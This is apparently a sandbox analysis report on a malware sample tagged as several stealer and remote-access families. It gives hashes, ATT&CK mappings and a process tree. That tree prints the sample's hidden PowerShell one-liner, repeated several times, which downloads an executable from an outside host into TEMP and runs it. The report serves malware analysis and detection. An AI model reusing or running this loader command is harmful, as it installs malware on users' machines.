002fae9a9a413a50d2a201a10e98c18e8344b4c3c89ec6b17df2ac38480dd5b1

General

Target
2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 445KB
Sample260909-hebb5sbc54
SHA256 002fae9a9a413a50d2a201a10e98c18e8344b4c3c89ec6b17df2ac38480dd5b1
MD5 15a6188e5412f6f08b73f78eff300a53
SHA1 7d79eec85b981fc4c5fa962555663aa48cdc532b
SHA512 c9366ac0f7f0d6f94346aad6b76146222fccf63ef76ef9c77e989feb3efc5c3b749bfbba365b8b4bd101f8020ab536de74bba658f9fe634ca41a26a9a52efcb7
SSDEEP 6144:3znXHsQ9gVsMLKg8iLsp5vIaCok0FllcnVAWXPqniOpIL1wCAiw8vpT58:jXHaVsMapaok0FoAuL1wQw8vpd
TLSH
T14DA47E25A3A400F9E1778178CE534946EBB2785607A0E7CF1394D6B62F376E05E3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3680	powershell.exe
980	powershell.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2360	cmd.exe
1888	cmd.exe
4492	cmd.exe
1860	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3680	powershell.exe
980	powershell.exe
3680	powershell.exe
980	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	980	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 1888	1528	2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	86
PID 1888 wrote to memory of 4492	1888	cmd.exe	88
PID 1528 wrote to memory of 1860	1528	2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	90
PID 4492 wrote to memory of 3680	4492	cmd.exe	92
PID 1860 wrote to memory of 2360	1860	cmd.exe	93
PID 2360 wrote to memory of 980	2360	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6d4dc2e0c185de97a4bd89bad8673d4dcfd48dbff6ddc7acd790b4d13313ef73
MD5 2659e6b4886118c0e9ece47970b4226c
SHA1 f37bf1ea7adb3f0ea7c2aedc8c958d903ffb416d
SHA512 899283f797405b3005b40eb7ea243bc6b99a2250af04d27b5ce2541b39b9a2dcdc9db22f2c9101e71d3f74065632d084d08db785a509e5c89b30892d7ef037ce
TLSH
T15121A837B3DC8921CC86123A009D9C1072B283C7819ECF9FAFC4D604A07F988CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_akzb2m0r.lhm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akzb2m0r.lhm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3680-0-0x0000024B1A490000-0x0000024B1A4A0000-memory.dmp

Download

memory/3680-1-0x0000024B1A490000-0x0000024B1A4A0000-memory.dmp

Download

memory/3680-12-0x0000024B1A3C0000-0x0000024B1A3E2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads